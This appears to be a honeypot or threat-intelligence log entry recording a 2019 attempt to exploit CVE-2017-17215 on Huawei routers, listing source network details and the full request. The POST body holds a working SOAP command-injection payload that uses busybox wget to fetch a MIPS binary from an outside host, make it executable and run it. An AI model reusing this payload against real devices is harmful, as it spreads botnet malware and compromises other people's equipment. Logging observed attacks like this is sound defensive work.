Huawei RCE exploit attempt (CVE-2017-17215)

Source IP	185.244.25.151
Netblock	185.244.25.0/24
Netblock Description	"	KV Solutions B.V."
Country	Netherlands
ASN	AS60144
ASN Name	"	THREE-W-INFRA-AS"
User Agent	python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.9.1.el6.x86_64
Method	POST
URI	/ctrlt/DeviceUpgrade_1
POST Data	"<?xml version=\1.0\"" ?>\n
         <s:Envelope xmlns:s=\""http://schemas.xmlsoap.org/soap/envelope/\"" s:encodingStyle=\""http://schemas.xmlsoap.org/soap/encoding/\"">\n
         <s:Body><u:Upgrade xmlns:u=\""urn:schemas-upnp-org:service:WANPPPConnection:1\"">\n
         <NewStatusURL>$(busybox wget -g 185.244.25.207 -l /tmp/bin     ry -r /lmaoWTF/loligang.mips; /bin/busybox chmod 777 * /tmp/bin     ry; /tmp/bin     ry huawei)</NewStatusURL>\n
     <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n
     </u:Upgrade>\n
         </s:Body>\n
         </s:Envelope>"
Port Targeted	37215/tcp (Huawei Service Port)
Recon Scan Type	ZMap
Date First Seen	2019-03-27T23:22:28Z